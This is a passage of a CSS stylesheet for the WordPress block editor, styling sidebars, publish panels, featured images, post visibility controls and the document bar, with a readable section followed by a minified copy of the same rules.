  padding-left:8px;
  padding-right:8px;
}

.entities-saved-states__text-prompt{
  padding:16px 16px 4px;
}
.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{
  display:block;
  margin-bottom:12px;
}

.entities-saved-states__description-heading{
  font-size:13px;
}

.entities-saved-states__changes{
  color:#757575;
  font-size:12px;
  list-style:disc;
  margin:8px 16px 0;
}
.entities-saved-states__changes li{
  margin-bottom:4px;
}

.editor-error-boundary{
  box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,.1px 11.5px 16.4px -.5px #00000026;
  margin:60px auto auto;
  max-width:780px;
  padding:20px;
}

.editor-inserter-sidebar{
  box-sizing:border-box;
  display:flex;
  flex-direction:column;
  height:100%;
}
.editor-inserter-sidebar *,.editor-inserter-sidebar :after,.editor-inserter-sidebar :before{
  box-sizing:inherit;
}

.editor-inserter-sidebar__header{
  display:flex;
  justify-content:flex-end;
  padding-right:8px;
  padding-top:8px;
}

.editor-inserter-sidebar__content{
  height:calc(100% - 44px);
}
@media (min-width:782px){
  .editor-inserter-sidebar__content{
    height:100%;
  }
}

.editor-list-view-sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
@media (min-width:782px){
  .editor-list-view-sidebar{
    width:350px;
  }
}
.editor-list-view-sidebar .edit-post-editor__document-overview-panel__header{
  border-bottom:1px solid #ddd;
  display:flex;
}
.editor-list-view-sidebar .editor-list-view-sidebar__close-button{
  align-self:center;
  background:#fff;
  margin-right:8px;
  order:1;
}

.editor-list-view-sidebar__tabs-tablist{
  box-sizing:border-box;
  flex-grow:1;
}

.editor-list-view-sidebar__tabs-tab{
  margin-bottom:-1px;
  width:50%;
}

.editor-list-view-sidebar__tabs-tabpanel{
  height:calc(100% - 47px);
}

.editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
  height:100%;
  overflow:auto;
  padding:8px 6px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:auto;
  scrollbar-width:thin;
  will-change:transform;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-track,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-track{
  background-color:initial;
}
.editor-list-view-sidebar__list-view-container>.document-outline::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-container>.document-outline:hover::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus-within::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:focus::-webkit-scrollbar-thumb,.editor-list-view-sidebar__list-view-panel-content:hover::-webkit-scrollbar-thumb{
  background-color:#949494;
}
.editor-list-view-sidebar__list-view-container>.document-outline:focus,.editor-list-view-sidebar__list-view-container>.document-outline:focus-within,.editor-list-view-sidebar__list-view-container>.document-outline:hover,.editor-list-view-sidebar__list-view-panel-content:focus,.editor-list-view-sidebar__list-view-panel-content:focus-within,.editor-list-view-sidebar__list-view-panel-content:hover{
  scrollbar-color:#949494 #0000;
}
@media (hover:none){
  .editor-list-view-sidebar__list-view-container>.document-outline,.editor-list-view-sidebar__list-view-panel-content{
    scrollbar-color:#949494 #0000;
  }
}

.editor-list-view-sidebar__list-view-container{
  display:flex;
  flex-direction:column;
  height:100%;
}

.editor-list-view-sidebar__tab-panel{
  height:100%;
}

.editor-list-view-sidebar__outline{
  border-bottom:1px solid #ddd;
  display:flex;
  flex-direction:column;
  gap:8px;
  padding:16px;
}
.editor-list-view-sidebar__outline>div>span:first-child{
  display:inline-block;
  width:90px;
}
.editor-list-view-sidebar__outline>div>span{
  color:#757575;
  font-size:12px;
  line-height:1.4;
}

.editor-post-author__panel{
  padding-top:8px;
}

.editor-post-author__panel .editor-post-panel__row-control>div{
  width:100%;
}

.editor-post-excerpt__textarea{
  margin-bottom:10px;
  width:100%;
}

.editor-post-featured-image{
  padding:0;
}
.editor-post-featured-image .components-spinner{
  left:50%;
  margin-left:-9px;
  margin-top:-9px;
  position:absolute;
  top:50%;
}
.editor-post-featured-image .components-responsive-wrapper__content{
  max-width:100%;
  width:auto;
}

.editor-post-featured-image__container{
  position:relative;
}
.editor-post-featured-image__container:focus .editor-post-featured-image__actions,.editor-post-featured-image__container:focus-within .editor-post-featured-image__actions,.editor-post-featured-image__container:hover .editor-post-featured-image__actions{
  opacity:1;
}

.editor-post-featured-image__preview,.editor-post-featured-image__toggle{
  box-shadow:0 0 0 0 var(--wp-admin-theme-color);
  display:flex;
  justify-content:center;
  max-height:150px;
  overflow:hidden;
  padding:0;
  transition:all .1s ease-out;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .editor-post-featured-image__preview,.editor-post-featured-image__toggle{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.editor-post-featured-image__preview{
  height:auto;
}
.editor-post-featured-image__preview .components-responsive-wrapper{
  background:#f0f0f0;
  width:100%;
}

.editor-post-featured-image__toggle{
  background-color:#f0f0f0;
  border-radius:2px;
  line-height:20px;
  min-height:90px;
  padding:8px 0;
  text-align:center;
}
.editor-post-featured-image__toggle:hover{
  background:#ddd;
  color:#1e1e1e;
}

.editor-post-featured-image__actions{
  bottom:0;
  opacity:0;
  padding:8px;
  position:absolute;
  transition:opacity 50ms ease-out;
}
@media (prefers-reduced-motion:reduce){
  .editor-post-featured-image__actions{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.editor-post-featured-image__action{
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background:#ffffffbf;
  flex-grow:1;
  justify-content:center;
}

[class].editor-post-format__suggestion{
  margin:4px 0 0;
}

.editor-post-last-revision__title{
  font-weight:500;
  width:100%;
}

.editor-post-last-revision__title.components-button.has-icon{
  height:100%;
  justify-content:space-between;
}
.editor-post-last-revision__title.components-button.has-icon:active,.editor-post-last-revision__title.components-button.has-icon:hover{
  background:#f0f0f0;
}
.editor-post-last-revision__title.components-button.has-icon:focus{
  border-radius:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.components-panel__body.is-opened.editor-post-last-revision__panel{
  height:48px;
  padding:0;
}
.components-panel__body.is-opened.editor-post-last-revision__panel .editor-post-last-revision__title.components-button.components-button{
  padding:16px;
}

.editor-post-locked-modal__buttons{
  margin-top:24px;
}

.editor-post-locked-modal__avatar{
  border-radius:2px;
  margin-top:16px;
  min-width:auto !important;
}

.editor-post-panel__row{
  align-items:flex-start !important;
  justify-content:flex-start !important;
  min-height:40px;
  width:100%;
}

.editor-post-panel__row-label{
  align-items:center;
  display:flex;
  flex-shrink:0;
  min-height:40px;
  width:30%;
}

.editor-post-panel__row-control{
  align-items:center;
  display:flex;
  flex-grow:1;
  min-height:40px;
}

.editor-post-publish-button__button.has-changes-dot:before{
  background:currentcolor;
  border-radius:4px;
  content:"";
  height:8px;
  margin:auto 5px auto -3px;
  width:8px;
}

.editor-post-publish-panel{
  background:#fff;
}

.editor-post-publish-panel__content{
  min-height:calc(100% - 144px);
}
.editor-post-publish-panel__content>.components-spinner{
  display:block;
  margin:100px auto 0;
}

.editor-post-publish-panel__header{
  align-content:space-between;
  align-items:center;
  background:#fff;
  border-bottom:1px solid #ddd;
  display:flex;
  height:61px;
  padding-left:16px;
  padding-right:16px;
}
.editor-post-publish-panel__header .components-button{
  justify-content:center;
  width:100%;
}
.editor-post-publish-panel__header .has-icon{
  margin-left:auto;
  width:auto;
}

.components-site-card{
  align-items:center;
  display:flex;
  margin:16px 0;
}

.components-site-icon{
  border:none;
  border-radius:2px;
  height:36px;
  margin-right:12px;
  width:36px;
}

.components-site-name{
  display:block;
  font-size:14px;
}

.components-site-home{
  color:#757575;
  display:block;
  font-size:12px;
}

.editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
  flex:1;
}
@media (min-width:480px){
  .editor-post-publish-panel__header-cancel-button,.editor-post-publish-panel__header-publish-button{
    max-width:160px;
  }
}

.editor-post-publish-panel__header-publish-button{
  padding-right:4px;
}

.editor-post-publish-panel__header-cancel-button{
  padding-left:4px;
}

.editor-post-publish-panel__header-published{
  flex-grow:1;
}

.editor-post-publish-panel__footer{
  padding:16px;
}

.components-button.editor-post-publish-panel__toggle.is-primary{
  align-items:center;
  display:inline-flex;
}
.components-button.editor-post-publish-panel__toggle.is-primary.is-busy .dashicon{
  display:none;
}
.components-button.editor-post-publish-panel__toggle.is-primary .dashicon{
  margin-right:-4px;
}

.editor-post-publish-panel__link{
  font-weight:400;
  padding-left:4px;
}

.editor-post-publish-panel__prepublish{
  padding:16px;
}
.editor-post-publish-panel__prepublish strong{
  color:#1e1e1e;
}
.editor-post-publish-panel__prepublish .components-panel__body{
  background:#fff;
  margin-left:-16px;
  margin-right:-16px;
}
.editor-post-publish-panel__prepublish .editor-post-visibility__dialog-legend{
  display:none;
}

.post-publish-panel__postpublish .components-panel__body{
  border-bottom:1px solid #e0e0e0;
  border-top:none;
}

.post-publish-panel__postpublish-buttons{
  align-content:space-between;
  display:flex;
  flex-wrap:wrap;
  gap:16px;
}
.post-publish-panel__postpublish-buttons .components-button{
  flex:1;
  justify-content:center;
}
.post-publish-panel__postpublish-buttons .components-clipboard-button{
  width:100%;
}

.post-publish-panel__postpublish-post-address-container{
  align-items:flex-end;
  display:flex;
  margin-bottom:16px;
}
.post-publish-panel__postpublish-post-address-container .post-publish-panel__postpublish-post-address{
  flex:1;
}
.post-publish-panel__postpublish-post-address-container input[readonly]{
  background:#f0f0f0;
  border-color:#ccc;
  height:36px;
  overflow:hidden;
  padding:12px;
  text-overflow:ellipsis;
}

.post-publish-panel__postpublish-post-address__copy-button-wrap{
  flex-shrink:0;
  margin-left:16px;
}

.post-publish-panel__postpublish-header{
  font-weight:500;
}

.post-publish-panel__postpublish-subheader{
  margin:0 0 8px;
}

.post-publish-panel__tip{
  color:#f0b849;
}

@media screen and (max-width:782px){
  .post-publish-panel__postpublish-post-address__button-wrap .components-button{
    height:40px;
  }
}
.editor-post-saved-state{
  align-items:center;
  color:#757575;
  display:flex;
  overflow:hidden;
  padding:12px 4px;
  white-space:nowrap;
  width:28px;
}
.editor-post-saved-state.is-saved[aria-disabled=true],.editor-post-saved-state.is-saved[aria-disabled=true]:hover,.editor-post-saved-state.is-saving[aria-disabled=true],.editor-post-saved-state.is-saving[aria-disabled=true]:hover{
  background:#0000;
  color:#757575;
}
.editor-post-saved-state svg{
  display:inline-block;
  flex:0 0 auto;
  fill:currentColor;
  margin-right:8px;
}
@media (min-width:600px){
  .editor-post-saved-state{
    padding:8px 12px;
    text-indent:inherit;
    width:auto;
  }
  .editor-post-saved-state svg{
    margin-right:0;
  }
}

.editor-post-save-draft.has-text.has-icon svg{
  margin-right:0;
}

.editor-post-schedule__panel-dropdown{
  width:100%;
}

.editor-post-schedule__dialog .components-popover__content{
  min-width:320px;
  padding:16px;
}

.editor-post-schedule__dialog-toggle.components-button{
  display:block;
  height:auto;
  line-height:16px;
  max-width:100%;
  overflow:hidden;
  padding:10px 12px;
  text-align:left;
  white-space:unset;
}

.editor-post-sync-status__value{
  padding:6px 0 6px 12px;
}

.editor-post-taxonomies__hierarchical-terms-list{
  margin-left:-6px;
  margin-top:-6px;
  max-height:14em;
  overflow:auto;
  padding-left:6px;
  padding-top:6px;
}

.editor-post-taxonomies__hierarchical-terms-choice{
  margin-bottom:8px;
}
.editor-post-taxonomies__hierarchical-terms-choice:last-child{
  margin-bottom:4px;
}

.editor-post-taxonomies__hierarchical-terms-subchoices{
  margin-left:16px;
  margin-top:8px;
}

.editor-post-taxonomies__flat-term-most-used .editor-post-taxonomies__flat-term-most-used-label{
  margin-bottom:4px;
}

.editor-post-taxonomies__flat-term-most-used-list{
  margin:0;
}
.editor-post-taxonomies__flat-term-most-used-list li{
  display:inline-block;
  margin-right:8px;
}
.editor-post-taxonomies__flat-term-most-used-list .components-button{
  font-size:12px;
}

.editor-post-template__swap-template-modal{
  z-index:1000001;
}

.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
  padding-top:2px;
}
@media (min-width:782px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .editor-post-template__swap-template-modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.editor-post-template__swap-template-modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{
  box-shadow:0 0 0 1px #ddd;
}

.editor-post-template__dropdown .components-popover__content{
  min-width:240px;
}
.editor-post-template__dropdown .components-button.is-pressed,.editor-post-template__dropdown .components-button.is-pressed:hover{
  background:inherit;
  color:inherit;
}

@media (min-width:782px){
  .editor-post-template__create-form{
    width:320px;
  }
}

.editor-post-template__classic-theme-dropdown{
  padding:8px;
}

.edit-post-text-editor__body textarea.editor-post-text-editor{
  border:1px solid #949494;
  border-radius:0;
  box-shadow:none;
  display:block;
  font-family:Menlo,Consolas,monaco,monospace;
  font-size:16px !important;
  line-height:2.4;
  margin:0;
  min-height:200px;
  overflow:hidden;
  padding:16px;
  resize:none;
  transition:border .1s ease-out,box-shadow .1s linear;
  width:100%;
}
@media (prefers-reduced-motion:reduce){
  .edit-post-text-editor__body textarea.editor-post-text-editor{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .edit-post-text-editor__body textarea.editor-post-text-editor{
    font-size:15px !important;
    padding:24px;
  }
}
.edit-post-text-editor__body textarea.editor-post-text-editor:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  position:relative;
}
.edit-post-text-editor__body textarea.editor-post-text-editor::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.edit-post-text-editor__body textarea.editor-post-text-editor::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.edit-post-text-editor__body textarea.editor-post-text-editor:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.edit-post-text-editor__body .editor-post-title.is-raw-text{
  margin-bottom:24px;
  margin-top:2px;
  max-width:none;
}

.editor-post-url__panel-dropdown{
  width:100%;
}

.components-button.editor-post-url__panel-toggle{
  display:block;
  max-width:100%;
  overflow:hidden;
  text-align:left;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.editor-post-url__panel-dialog .editor-post-url{
  margin:8px;
  min-width:248px;
}

.editor-post-url__link-label{
  font-size:13px;
  font-weight:400;
  margin:0;
}
.editor-post-url__link{
  direction:ltr;
  word-break:break-word;
}
.editor-post-url__link-slug{
  font-weight:600;
}

.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
  border:1px solid #1e1e1e;
  border-radius:2px;
  border-radius:50%;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  height:24px;
  line-height:normal;
  margin-right:12px;
  margin-top:2px;
  padding:6px 8px;
  transition:box-shadow .1s linear;
  transition:none;
  width:24px;
}
@media (prefers-reduced-motion:reduce){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:-ms-input-placeholder{
  color:#1e1e1e9e;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]{
    height:20px;
    width:20px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
  background-color:#fff;
  border:4px solid #fff;
  box-sizing:inherit;
  height:8px;
  margin:0;
  transform:translate(7px, 7px);
  width:8px;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked:before{
    transform:translate(5px, 5px);
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:focus{
  box-shadow:0 0 0 2px #fff, 0 0 0 4px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__radio[type=radio]:checked{
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
}
.editor-post-visibility__fieldset .editor-post-visibility__info{
  color:#757575;
  margin-left:36px;
  margin-top:.5em;
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__info{
    margin-left:32px;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__choice:last-child .editor-post-visibility__info{
  margin-bottom:0;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
  border:1px solid #949494;
  border-radius:2px;
  box-shadow:0 0 0 #0000;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:16px;
  line-height:normal;
  margin-left:32px;
  padding:6px 8px;
  transition:box-shadow .1s linear;
  width:calc(100% - 32px);
}
@media (prefers-reduced-motion:reduce){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    transition-delay:0s;
    transition-duration:0s;
  }
}
@media (min-width:600px){
  .editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]{
    font-size:13px;
    line-height:normal;
  }
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:focus{
  border-color:var(--wp-admin-theme-color);
  box-shadow:0 0 0 .5px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-webkit-input-placeholder{
  color:#1e1e1e9e;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]::-moz-placeholder{
  color:#1e1e1e9e;
  opacity:1;
}
.editor-post-visibility__fieldset .editor-post-visibility__password .editor-post-visibility__password-input[type=text]:-ms-input-placeholder{
  color:#1e1e1e9e;
}

.editor-post-trash.components-button{
  flex-grow:1;
  justify-content:center;
}

.editor-preview-dropdown__button-external{
  display:flex;
  justify-content:space-between;
  width:100%;
}

.table-of-contents__popover.components-popover .components-popover__content{
  min-width:380px;
}

.components-popover.table-of-contents__popover{
  z-index:99998;
}

.table-of-contents__popover .components-popover__content{
  padding:16px;
}
@media (min-width:600px){
  .table-of-contents__popover .components-popover__content{
    max-height:calc(100vh - 120px);
    overflow-y:auto;
  }
}
.table-of-contents__popover hr{
  margin:10px -16px 0;
}

.table-of-contents__wrapper:focus:before{
  bottom:0;
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  content:"";
  display:block;
  left:0;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}

.table-of-contents__counts{
  display:flex;
  flex-wrap:wrap;
  margin:-8px 0 0;
}

.table-of-contents__count{
  color:#1e1e1e;
  display:flex;
  flex-basis:33%;
  flex-direction:column;
  font-size:13px;
  margin-bottom:0;
  margin-top:8px;
  padding-right:8px;
}
.table-of-contents__count:nth-child(4n){
  padding-right:0;
}

.table-of-contents__number,.table-of-contents__popover .word-count{
  color:#1e1e1e;
  font-size:21px;
  font-weight:400;
  line-height:30px;
}

.table-of-contents__title{
  display:block;
  font-size:15px;
  font-weight:600;
  margin-top:20px;
}

.editor-template-validation-notice{
  align-items:center;
  display:flex;
  justify-content:space-between;
}
.editor-template-validation-notice .components-button{
  margin-left:5px;
}@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-autocompleters__user .editor-autocompleters__no-avatar:before{content:"";font:normal 20px/1 dashicons;margin-right:5px;vertical-align:middle}.editor-autocompleters__user .editor-autocompleters__user-avatar{flex-grow:0;flex-shrink:0;height:24px;margin-right:8px;max-width:none;width:24px}.editor-autocompleters__user .editor-autocompleters__user-name{flex-grow:1;flex-shrink:0;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user .editor-autocompleters__user-slug{color:#757575;flex-grow:0;flex-shrink:0;margin-left:8px;max-width:100px;overflow:none;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user:hover .editor-autocompleters__user-slug{color:var(--wp-admin-theme-color)}.editor-block-manager__no-results{font-style:italic;padding:24px 0;text-align:center}.editor-block-manager__search{margin:16px 0}.editor-block-manager__disabled-blocks-count{background-color:#fff;border:1px solid #ddd;border-width:1px 0;box-shadow:-32px 0 0 0 #fff,32px 0 0 0 #fff;padding:8px;position:sticky;text-align:center;top:-5px;z-index:2}.editor-block-manager__disabled-blocks-count~.editor-block-manager__results .editor-block-manager__category-title{top:31px}.editor-block-manager__disabled-blocks-count .is-link{margin-left:12px}.editor-block-manager__category{margin:0 0 24px}.editor-block-manager__category-title{background-color:#fff;padding:16px 0;position:sticky;top:-4px;z-index:1}.editor-block-manager__category-title .components-checkbox-control__label{font-weight:600}.editor-block-manager__checklist{margin-top:0}.editor-block-manager__category-title,.editor-block-manager__checklist-item{border-bottom:1px solid #ddd}.editor-block-manager__checklist-item{align-items:center;display:flex;justify-content:space-between;margin-bottom:0;padding:8px 0 8px 16px}.components-modal__content .editor-block-manager__checklist-item.components-checkbox-control__input-container{margin:0 8px}.editor-block-manager__checklist-item .block-editor-block-icon{margin-right:10px;fill:#1e1e1e}.editor-block-manager__results{border-top:1px solid #ddd}.editor-block-manager__disabled-blocks-count+.editor-block-manager__results{border-top-width:0}.editor-document-bar{align-items:center;background:#f0f0f0;border-radius:4px;display:flex;height:32px;justify-content:space-between;min-width:0;width:min(100%,450px)}.editor-document-bar:hover{background-color:#e0e0e0}.editor-document-bar .components-button{border-radius:4px}.editor-document-bar .components-button:hover{background:#e0e0e0;color:var(--wp-block-synced-color)}@media (min-width:960px){.editor-document-bar{width:min(100%,450px)}}.editor-document-bar__command{color:var(--wp-block-synced-color);flex-grow:1;overflow:hidden}.editor-document-bar__title{color:#2f2f2f;flex-grow:1;overflow:hidden}@media (min-width:600px){.editor-document-bar__title{padding-left:32px}}.editor-document-bar.is-global .editor-document-bar__title,.editor-document-bar__title:hover{color:var(--wp-block-synced-color)}.editor-document-bar__title .block-editor-block-icon{flex-shrink:0;min-width:24px}.editor-document-bar__title h1{color:currentColor;max-width:50%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-document-bar.is-animated.has-back-button .editor-document-bar__title{animation:editor-document-bar__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.editor-document-bar.is-animated.has-back-button .editor-document-bar__title{animation-delay:0s;animation-duration:1ms}}.editor-document-bar.is-animated .editor-document-bar__title{animation:editor-document-bar__slide-in-right .3s}@media (prefers-reduced-motion:reduce){.editor-document-bar.is-animated .editor-document-bar__title{animation-delay:0s;animation-duration:1ms}}.editor-document-bar__shortcut{color:#2f2f2f;display:none;min-width:32px}@media (min-width:782px){.editor-document-bar__shortcut{display:initial}}.editor-document-bar__back.components-button.has-icon.has-text{color:#757575;flex-shrink:0;gap:0;min-width:36px;position:absolute;z-index:1}.editor-document-bar__back.components-button.has-icon.has-text:hover{background-color:initial;color:var(--wp-block-synced-color)}.editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{animation:editor-document-bar__slide-in-left .3s}@media (prefers-reduced-motion:reduce){.editor-document-bar.is-animated .editor-document-bar__back.components-button.has-icon.has-text{animation-delay:0s;animation-duration:1ms}}@keyframes editor-document-bar__slide-in-right{0%{opacity:0;transform:translateX(-15%)}to{opacity:1;transform:translateX(0)}}@keyframes editor-document-bar__slide-in-left{0%{opacity:0;transform:translateX(15%)}to{opacity:1;transform:translateX(0)}}.document-outline{margin:20px 0}.document-outline ul{margin:0;padding:0}.document-outline__item{display:flex;margin:4px 0}.document-outline__item a{text-decoration:none}.document-outline__item .document-outline__emdash:before{color:#ddd;margin-right:4px}.document-outline__item.is-h2 .document-outline__emdash:before{content:"—"}.document-outline__item.is-h3 .document-outline__emdash:before{content:"——"}.document-outline__item.is-h4 .document-outline__emdash:before{content:"———"}.document-outline__item.is-h5 .document-outline__emdash:before{content:"————"}.document-outline__item.is-h6 .document-outline__emdash:before{content:"—————"}.document-outline__button{align-items:flex-start;background:none;border:none;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;margin:0 0 0 -1px;padding:2px 5px 2px 1px;text-align:left}.document-outline__button:disabled{cursor:default}.document-outline__button:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.document-outline__level{background:#ddd;border-radius:3px;color:#1e1e1e;font-size:13px;margin-right:4px;padding:1px 6px}.is-invalid .document-outline__level{background:#f0b849}.document-outline__item-content{padding:1px 0}.editor-document-outline.has-no-headings{color:#757575;text-align:center}.editor-document-outline.has-no-headings>svg{margin-top:28px}.editor-document-outline.has-no-headings>p{padding-left:32px;padding-right:32px}.editor-document-tools{align-items:center;display:inline-flex}.editor-document-tools .editor-document-tools__left>.components-button{display:none}@media (min-width:600px){.editor-document-tools .editor-document-tools__left>.components-button{display:inline-flex}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle{display:inline-flex}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.is-pressed svg{transform:rotate(45deg)}.editor-document-tools .block-editor-list-view{display:none}@media (min-width:600px){.editor-document-tools .block-editor-list-view{display:flex}}.editor-document-tools .editor-document-tools__left>.components-button.has-icon,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon{height:32px;min-width:32px;padding:4px}.editor-document-tools .editor-document-tools__left>.components-button.has-icon.is-pressed,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:focus:not(:disabled),.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid #0000}.editor-document-tools .editor-document-tools__left>.components-button.has-icon:before,.editor-document-tools .editor-document-tools__left>.components-dropdown>.components-button.has-icon:before{display:none}.editor-document-tools__left{align-items:center;display:inline-flex;gap:8px;margin-right:8px;padding-left:16px}@media (min-width:782px){.editor-document-tools__left{padding-left:20px}}@media (min-width:1280px){.editor-document-tools__left{padding-right:8px}}.editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{height:32px;min-width:32px;padding:0;width:32px}.show-icon-labels .editor-document-tools .editor-document-tools__left>.editor-document-tools__inserter-toggle.has-icon{height:32px;padding:0 8px;width:auto}.show-icon-labels .editor-document-tools__left>*+*{margin-left:8px}.components-editor-notices__dismissible,.components-editor-notices__pinned{color:#1e1e1e;left:0;position:relative;right:0;top:0}.components-editor-notices__dismissible .components-notice,.components-editor-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:60px;padding:0 12px}.components-editor-notices__dismissible .components-notice .components-notice__dismiss,.components-editor-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.entities-saved-states__panel-header{background:#fff;border-bottom:1px solid #ddd;box-sizing:border-box;height:60px;padding-left:8px;padding-right:8px}.entities-saved-states__text-prompt{padding:16px 16px 4px}.entities-saved-states__text-prompt .entities-saved-states__text-prompt--header{display:block;margin-bottom:12px}.entities-saved-states__description-heading{font-size:13px}.entities-saved-states__changes{color:#757575;font-size:12px;list-style:disc;margin:8px 16px 0}.entities-saved-states__changes li{margin-bottom:4px}.editor-error-boundary{box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,.1px 11.5px 16.4px -.5px #00000026;margin:60px auto 